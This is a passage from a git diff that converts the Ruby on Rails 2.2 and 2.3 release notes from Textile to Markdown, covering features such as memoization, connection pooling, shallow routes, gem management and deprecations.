been upgraded to version 1.6.0.3. +* `RJS#page.reload` to reload the browser's current location via JavaScript +* The `atom_feed` helper now takes an `:instruct` option to let you insert XML processing instructions. + +Action Mailer +------------- + +Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the `CustomerMailer` class expects to use `layouts/customer_mailer.html.erb`. + +* More information: + * [What's New in Edge Rails: Mailer Layouts](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts) + +Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed. + +Active Support +-------------- + +Active Support now offers built-in memoization for Rails applications, the `each_with_object` method, prefix support on delegates, and various other new utility methods. + +### Memoization + +Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications: + +```ruby +def full_name + @full_name ||= "#{first_name} #{last_name}" +end +``` + +Memoization lets you handle this task in a declarative fashion: + +```ruby +extend ActiveSupport::Memoizable + +def full_name + "#{first_name} #{last_name}" +end +memoize :full_name +``` + +Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize_all` to turn memoization on or off. + +* Lead Contributor: [Josh Peek](http://joshpeek.com/) +* More information: + * [What's New in Edge Rails: Easy Memoization](http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization) + * [Memo-what? A Guide to Memoization](http://www.railway.at/articles/2008/09/20/a-guide-to-memoization) + +### each_with_object + +The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block. + +```ruby +%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'} +``` + +Lead Contributor: [Adam Keys](http://therealadam.com/) + +### Delegates With Prefixes + +If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example: + +```ruby +class Vendor < ActiveRecord::Base + has_one :account + delegate :email, :password, :to => :account, :prefix => true +end +``` + +This will produce delegated methods `vendor#account_email` and `vendor#account_password`. You can also specify a custom prefix: + +```ruby +class Vendor < ActiveRecord::Base + has_one :account + delegate :email, :password, :to => :account, :prefix => :owner +end +``` + +This will produce delegated methods `vendor#owner_email` and `vendor#owner_password`. + +Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-daniel-schierbeck) + +### Other Active Support Changes + +* Extensive updates to `ActiveSupport::Multibyte`, including Ruby 1.9 compatibility fixes. +* The addition of `ActiveSupport::Rescuable` allows any class to mix in the `rescue_from` syntax. +* `past?`, `today?` and `future?` for `Date` and `Time` classes to facilitate date/time comparisons. +* `Array#second` through `Array#fifth` as aliases for `Array#[1]` through `Array#[4]` +* `Enumerable#many?` to encapsulate `collection.size > 1` +* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`. +* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on. +* The included TzInfo library has been upgraded to version 0.3.12. +* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` + +Railties +-------- + +In Railties (the core code of Rails itself) the biggest changes are in the `config.gems` mechanism. + +### config.gems + +To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in `/vendor/gems`. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands: + +* `config.gem _gem_name_` in your `config/environment.rb` file +* `rake gems` to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen) +* `rake gems:install` to install missing gems to the computer +* `rake gems:unpack` to place a copy of the required gems into `/vendor/gems` +* `rake gems:unpack:dependencies` to get copies of the required gems and their dependencies into `/vendor/gems` +* `rake gems:build` to build any missing native extensions +* `rake gems:refresh_specs` to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them + +You can unpack or install a single gem by specifying `GEM=_gem_name_` on the command line. + +* Lead Contributor: [Matt Jones](http://github.com/al2o3cr) +* More information: + * [What's New in Edge Rails: Gem Dependencies](http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies) + * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/) + * [Detailed discussion on Lighthouse](http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128) + +### Other Railties Changes + +* If you're a fan of the [Thin](http://code.macournoyer.com/thin/) web server, you'll be happy to know that `script/server` now supports Thin directly. +* `script/plugin install <plugin> -r <revision>` now works with git-based as well as svn-based plugins. +* `script/console` now supports a `--debugger` option +* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source +* `rake notes:custom ANNOTATION=MYFLAG` lets you list out custom annotations. +* Wrapped `Rails.env` in `StringInquirer` so you can do `Rails.env.development?` +* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher. + +Deprecated +---------- + +A few pieces of older code are deprecated in this release: + +* `Rails::SecretKeyGenerator` has been replaced by `ActiveSupport::SecureRandom` +* `render_component` is deprecated. There's a [render_components plugin](http://github.com/rails/render_component/tree/master) available if you need this functionality. +* Implicit local assignments when rendering partials has been deprecated. + + ```ruby + def partial_with_implicit_local_assignment + @customer = Customer.new("Marcel") + render :partial => "customer" + end + ``` + + Previously the above code made available a local variable called `customer` inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now. + +* `country_select` has been removed. See the [deprecation page](http://www.rubyonrails.org/deprecation/list-of-countries) for more information and a plugin replacement. +* `ActiveRecord::Base.allow_concurrency` no longer has any effect. +* `ActiveRecord::Errors.default_error_messages` has been deprecated in favor of `I18n.translate('activerecord.errors.messages')` +* The `%s` and `%d` interpolation syntax for internationalization is deprecated. +* `String#chars` has been deprecated in favor of `String#mb_chars`. +* Durations of fractional months or fractional years are deprecated. Use Ruby's core `Date` and `Time` class arithmetic instead. +* `Request#relative_url_root` is deprecated. Use `ActionController::Base.relative_url_root` instead. + +Credits +------- + +Release notes compiled by [Mike Gunderloy](http://afreshcup.com) diff --git a/guides/source/2_2_release_notes.textile b/guides/source/2_2_release_notes.textile deleted file mode 100644 index eb4b32329b..0000000000 --- a/guides/source/2_2_release_notes.textile +++ /dev/null @@ -1,422 +0,0 @@ -h2. Ruby on Rails 2.2 Release Notes - -Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub. - -Along with Rails, 2.2 marks the launch of the "Ruby on Rails Guides":http://guides.rubyonrails.org/, the first results of the ongoing "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide. This site will deliver high-quality documentation of the major features of Rails. - -endprologue. - -h3. Infrastructure - -Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world. - -h4. Internationalization - -Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing). - -* Lead Contributors: Rails i18 Team -* More information : -** "Official Rails i18 website":http://rails-i18n.org -** "Finally. Ruby on Rails gets internationalized":http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized -** "Localizing Rails : Demo application":http://github.com/clemens/i18n_demo_app - -h4. Compatibility with Ruby 1.9 and JRuby - -Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released. - -h3. Documentation - -The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the "Ruby on Rails Guides":http://guides.rubyonrails.org/ project is the definitive source for information on major Rails components. In its first official release, the Guides page includes: - -* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started.html -* "Rails Database Migrations":http://guides.rubyonrails.org/migrations.html -* "Active Record Associations":http://guides.rubyonrails.org/association_basics.html -* "Active Record Query Interface":http://guides.rubyonrails.org/active_record_querying.html -* "Layouts and Rendering in Rails":http://guides.rubyonrails.org/layouts_and_rendering.html -* "Action View Form Helpers":http://guides.rubyonrails.org/form_helpers.html -* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html -* "Action Controller Overview":http://guides.rubyonrails.org/action_controller_overview.html -* "Rails Caching":http://guides.rubyonrails.org/caching_with_rails.html -* "A Guide to Testing Rails Applications":http://guides.rubyonrails.org/testing.html -* "Securing Rails Applications":http://guides.rubyonrails.org/security.html -* "Debugging Rails Applications":http://guides.rubyonrails.org/debugging_rails_applications.html -* "Performance Testing Rails Applications":http://guides.rubyonrails.org/performance_testing.html -* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/plugins.html - -All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers. - -If you want to generate these guides locally, inside your application: - -<ruby> -rake doc:guides -</ruby> - -This will put the guides inside +Rails.root/doc/guides+ and you may start surfing straight away by opening +Rails.root/doc/guides/index.html+ in your favourite browser. - -* Lead Contributors: "Rails Documentation Team":credits.html -* Major contributions from "Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai":http://izumi.plan99.net/blog/. -* More information: -** "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide -** "Help improve Rails documentation on Git branch":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch - -h3. Better integration with HTTP : Out of the box ETag support - -Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all. - -<ruby> -class ArticlesController < ApplicationController - def show_with_respond_to_block - @article = Article.find(params[:id]) - - # If the request sends headers that differs from the options provided to stale?, then - # the request is indeed stale and the respond_to block is triggered (and the options - # to the stale? call is set on the response). - # - # If the request headers match, then the request is fresh and the respond_to block is - # not triggered. Instead the default render will occur, which will check the last-modified - # and etag headers and conclude that it only needs to send a "304 Not Modified" instead - # of rendering the template. - if stale?(:last_modified => @article.published_at.utc, :etag => @article) - respond_to do |wants| - # normal response processing - end - end - end - - def show_with_implied_render - @article = Article.find(params[:id]) - - # Sets the response headers and checks them against the request, if the request is stale - # (i.e. no match of either etag or last-modified), then the default render of the template happens. - # If the request is fresh, then the default render will return a "304 Not Modified" - # instead of rendering the template. - fresh_when(:last_modified => @article.published_at.utc, :etag => @article) - end -end -</ruby> - -h3. Thread Safety - -The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores. - -To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+: - -<ruby> -config.threadsafe! -</ruby> - -* More information : -** "Thread safety for your Rails":http://m.onkey.org/2008/10/23/thread-safety-for-your-rails -** "Thread safety project announcement":http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core -** "Q/A: What Thread-safe Rails Means":http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html - -h3. Active Record - -There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements. - -h4. Transactional Migrations - -Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter. - -* Lead Contributor: "Adam Wiggins":http://adam.heroku.com/ -* More information: -** "DDL Transactions":http://adam.heroku.com/past/2008/9/3/ddl_transactions/ -** "A major milestone for DB2 on Rails":http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/ - -h4. Connection Pooling - -Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it. - -<ruby> -development: - adapter: mysql - username: root - database: sample_development - pool: 10 - wait_timeout: 10 -</ruby> - -* Lead Contributor: "Nick Sieger":http://blog.nicksieger.com/ -* More information: -** "What's New in Edge Rails: Connection Pools":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools - -h4. Hashes for Join Table Conditions - -You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins. - -<ruby> -class Photo < ActiveRecord::Base - belongs_to :product -end - -class Product < ActiveRecord::Base - has_many :photos -end - -# Get all products with copyright-free photos: -Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }}) -</ruby> - -* More information: -** "What's New in Edge Rails: Easy Join Table Conditions":http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions - -h4. New Dynamic Finders - -Two new sets of methods have been added to Active Record's dynamic finders family. - -h5. +find_last_by_<em>attribute</em>+ - -The +find_last_by_<em>attribute</em>+ method is equivalent to +Model.last(:conditions => {:attribute => value})+ - -<ruby> -# Get the last user who signed up from London -User.find_last_by_city('London') -</ruby> - -* Lead Contributor: "Emilio Tagua":http://www.workingwithrails.com/person/9147-emilio-tagua - -h5. +find_by_<em>attribute</em>!+ - -The new bang! version of +find_by_<em>attribute</em>!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match. - -<ruby> -# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet! -User.find_by_name!('Moby') -</ruby> - -* Lead Contributor: "Josh Susser":http://blog.hasmanythrough.com - -h4. Associations Respect Private/Protected Scope - -Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) +@user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use +@user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally. - -* Lead Contributor: Adam Milligan -* More information: -** "Rails 2.2 Change: Private Methods on Association Proxies are Private":http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/ - -h4. Other ActiveRecord Changes - -* +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo -* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp. -* Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer. -* +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names - -h3. Action Controller - -On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications. - -h4. Shallow Route Nesting - -Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. - -<ruby> -map.resources :publishers, :shallow => true do |publisher| - publisher.resources :magazines do |magazine| - magazine.resources :photos - end -end -</ruby> - -This will enable recognition of (among others) these routes: - -<ruby> -/publishers/1 ==> publisher_path(1) -/publishers/1/magazines ==> publisher_magazines_path(1) -/magazines/2 ==> magazine_path(2) -/magazines/2/photos ==> magazines_photos_path(2) -/photos/3 ==> photo_path(3) -</ruby> - -* Lead Contributor: "S. Brent Faulkner":http://www.unwwwired.net/ -* More information: -** "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html#nested-resources -** "What's New in Edge Rails: Shallow Routes":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes - -h4. Method Arrays for Member or Collection Routes - -You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration: - -<ruby> -map.resources :photos, :collection => { :search => [:get, :post] } -</ruby> - -* Lead Contributor: "Brennan Dunn":http://brennandunn.com/ - -h4. Resources With Specific Actions - -By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources. - -<ruby> -map.resources :photos, :only => [:index, :show] -map.resources :products, :except => :destroy -</ruby> - -* Lead Contributor: "Tom Stuart":http://experthuman.com/ - -h4. Other Action Controller Changes - -* You can now easily "show a custom error page":http://m.onkey.org/2008/7/20/rescue-from-dispatching for exceptions raised while routing a request. -* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.use_accept_header = true+. -* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds -* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers. -* +redirect_to+ now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI). -* +render+ now supports a +:js+ option to render plain vanilla JavaScript with the right mime type. -* Request forgery protection has been tightened up to apply to HTML-formatted content requests only. -* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+. - -h3. Action View - -* +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code. -* The included Prototype JavaScript library has been upgraded to version 1.6.0.3. -* +RJS#page.reload+ to reload the browser's current location via JavaScript -* The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions. - -h3. Action Mailer - -Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+. - -* More information: -** "What's New in Edge Rails: Mailer Layouts":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts - -Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed. - -h3. Active Support - -Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods. - -h4. Memoization - -Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications: - -<ruby> -def full_name - @full_name ||= "#{first_name} #{last_name}" -end -</ruby> - -Memoization lets you handle this task in a declarative fashion: - -<ruby> -extend ActiveSupport::Memoizable - -def full_name - "#{first_name} #{last_name}" -end -memoize :full_name -</ruby> - -Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off. - -* Lead Contributor: "Josh Peek":http://joshpeek.com/ -* More information: -** "What's New in Edge Rails: Easy Memoization":http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization -** "Memo-what? A Guide to Memoization":http://www.railway.at/articles/2008/09/20/a-guide-to-memoization - -h4. each_with_object - -The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block. - -<ruby> -%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'} -</ruby> - -Lead Contributor: "Adam Keys":http://therealadam.com/ - -h4. Delegates With Prefixes - -If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example: - -<ruby> -class Vendor < ActiveRecord::Base - has_one :account - delegate :email, :password, :to => :account, :prefix => true -end -</ruby> - -This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix: - -<ruby> -class Vendor < ActiveRecord::Base - has_one :account - delegate :email, :password, :to => :account, :prefix => :owner -end -</ruby> - -This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+. - -Lead Contributor: "Daniel Schierbeck":http://workingwithrails.com/person/5830-daniel-schierbeck - -h4. Other Active Support Changes - -* Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes. -* The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax. -* +past?+, +today?+ and +future?+ for +Date+ and +Time+ classes to facilitate date/time comparisons. -* +Array#second+ through +Array#fifth+ as aliases for +Array#[1]+ through +Array#[4]+ -* +Enumerable#many?+ to encapsulate +collection.size > 1+ -* +Inflector#parameterize+ produces a URL-ready version of its input, for use in +to_param+. -* +Time#advance+ recognizes fractional days and weeks, so you can do +1.7.weeks.ago+, +1.5.hours.since+, and so on. -* The included TzInfo library has been upgraded to version 0.3.12. -* +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+ - -h3. Railties - -In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism. - -h4. config.gems - -To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands: - -* +config.gem _gem_name_+ in your +config/environment.rb+ file -* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen) -* +rake gems:install+ to install missing gems to the computer -* +rake gems:unpack+ to place a copy of the required gems into +/vendor/gems+ -* +rake gems:unpack:dependencies+ to get copies of the required gems and their dependencies into +/vendor/gems+ -* +rake gems:build+ to build any missing native extensions -* +rake gems:refresh_specs+ to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them - -You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line. - -* Lead Contributor: "Matt Jones":http://github.com/al2o3cr -* More information: -** "What's New in Edge Rails: Gem Dependencies":http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies -** "Rails 2.1.2 and 2.2RC1: Update Your RubyGems":http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/ -** "Detailed discussion on Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128 - -h4. Other Railties Changes - -* If you're a fan of the "Thin":http://code.macournoyer.com/thin/ web server, you'll be happy to know that +script/server+ now supports Thin directly. -* +script/plugin install <plugin> -r <revision>+ now works with git-based as well as svn-based plugins. -* +script/console+ now supports a +--debugger+ option -* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source -* +rake notes:custom ANNOTATION=MYFLAG+ lets you list out custom annotations. -* Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+ -* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher. - -h3. Deprecated - -A few pieces of older code are deprecated in this release: - -* +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+ -* +render_component+ is deprecated. There's a "render_components plugin":http://github.com/rails/render_component/tree/master available if you need this functionality. -* Implicit local assignments when rendering partials has been deprecated. - -<ruby> -def partial_with_implicit_local_assignment - @customer = Customer.new("Marcel") - render :partial => "customer" -end -</ruby> - -Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now. - -* +country_select+ has been removed. See the "deprecation page":http://www.rubyonrails.org/deprecation/list-of-countries for more information and a plugin replacement. -* +ActiveRecord::Base.allow_concurrency+ no longer has any effect. -* +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+ -* The +%s+ and +%d+ interpolation syntax for internationalization is deprecated. -* +String#chars+ has been deprecated in favor of +String#mb_chars+. -* Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead. -* +Request#relative_url_root+ is deprecated. Use +ActionController::Base.relative_url_root+ instead. - -h3. Credits - -Release notes compiled by "Mike Gunderloy":http://afreshcup.com diff --git a/guides/source/2_3_release_notes.textile b/guides/source/2_3_release_notes.md index 36f425574b..7aef566e40 100644 --- a/guides/source/2_3_release_notes.textile +++ b/guides/source/2_3_release_notes.md @@ -1,14 +1,16 @@ -h2. Ruby on Rails 2.3 Release Notes +Ruby on Rails 2.3 Release Notes +=============================== -Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components. +Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components. -endprologue. +-------------------------------------------------------------------------------- -h3. Application Architecture +Application Architecture +------------------------ -There are two major changes in the architecture of Rails applications: complete integration of the "Rack":http://rack.rubyforge.org/ modular web server interface, and renewed support for Rails Engines. +There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.rubyforge.org/) modular web server interface, and renewed support for Rails Engines. -h4. Rack Integration +### Rack Integration Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test: @@ -19,221 +21,225 @@ Rails has now broken with its CGI past, and uses Rack everywhere. This required Here's a summary of the rack-related changes: -* +script/server+ has been switched to use Rack, which means it supports any Rack compatible server. +script/server+ will also pick up a rackup configuration file if one exists. By default, it will look for a +config.ru+ file, but you can override this with the +-c+ switch. +* `script/server` has been switched to use Rack, which means it supports any Rack compatible server. `script/server` will also pick up a rackup configuration file if one exists. By default, it will look for a `config.ru` file, but you can override this with the `-c` switch. * The FCGI handler goes through Rack. -* +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+. -* The +rake middleware+ task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack. +* `ActionController::Dispatcher` maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in `environment.rb`. +* The `rake middleware` task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack. * The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware. -* +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and convert its environment information into a Rack compatible form. -* +CgiRequest+ and +CgiResponse+ have been removed. +* `ActionController::CGIHandler` is a backwards compatible CGI wrapper around Rack. The `CGIHandler` is meant to take an old CGI object and convert its environment information into a Rack compatible form. +* `CgiRequest` and `CgiResponse` have been removed. * Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object). -* You no longer need to use +CGI::Cookie.new+ in your tests for setting a cookie value. Assigning a +String+ value to request.cookies["foo"] now sets the cookie as expected. -* +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+. -* +CGI::Session::MemCacheStore+ has been replaced by +ActionController::Session::MemCacheStore+. -* +CGI::Session::ActiveRecordStore+ has been replaced by +ActiveRecord::SessionStore+. -* You can still change your session store with +ActionController::Base.session_store = :active_record_store+. -* Default sessions options are still set with +ActionController::Base.session = { :key => "..." }+. However, the +:session_domain+ option has been renamed to +:domain+. -* The mutex that normally wraps your entire request has been moved into middleware, +ActionController::Lock+. -* +ActionController::AbstractRequest+ and +ActionController::Request+ have been unified. The new +ActionController::Request+ inherits from +Rack::Request+. This affects access to +response.headers['type']+ in test requests. Use +response.content_type+ instead. -* +ActiveRecord::QueryCache+ middleware is automatically inserted onto the middleware stack if +ActiveRecord+ has been loaded. This middleware sets up and flushes the per-request Active Record query cache. -* The Rails router and controller classes follow the Rack spec. You can call a controller directly with +SomeController.call(env)+. The router stores the routing parameters in +rack.routing_args+. -* +ActionController::Request+ inherits from +Rack::Request+. -* Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use +config.action_controller.session = { :key => 'foo', ...+. -* Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it. +* You no longer need to use `CGI::Cookie.new` in your tests for setting a cookie value. Assigning a `String` value to request.cookies["foo"] now sets the cookie as expected. +* `CGI::Session::CookieStore` has been replaced by `ActionController::Session::CookieStore`. +* `CGI::Session::MemCacheStore` has been replaced by `ActionController::Session::MemCacheStore`. +* `CGI::Session::ActiveRecordStore` has been replaced by `ActiveRecord::SessionStore`. +* You can still change your session store with `ActionController::Base.session_store = :active_record_store`. +* Default sessions options are still set with `ActionController::Base.session = { :key => "..." }`. However, the `:session_domain` option has been renamed to `:domain`. +* The mutex that normally wraps your entire request has been moved into middleware, `ActionController::Lock`. +* `ActionController::AbstractRequest` and `ActionController::Request` have been unified. The new `ActionController::Request` inherits from `Rack::Request`. This affects access to `response.headers['type']` in test requests. Use `response.content_type` instead. +* `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache. +* The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`. +* 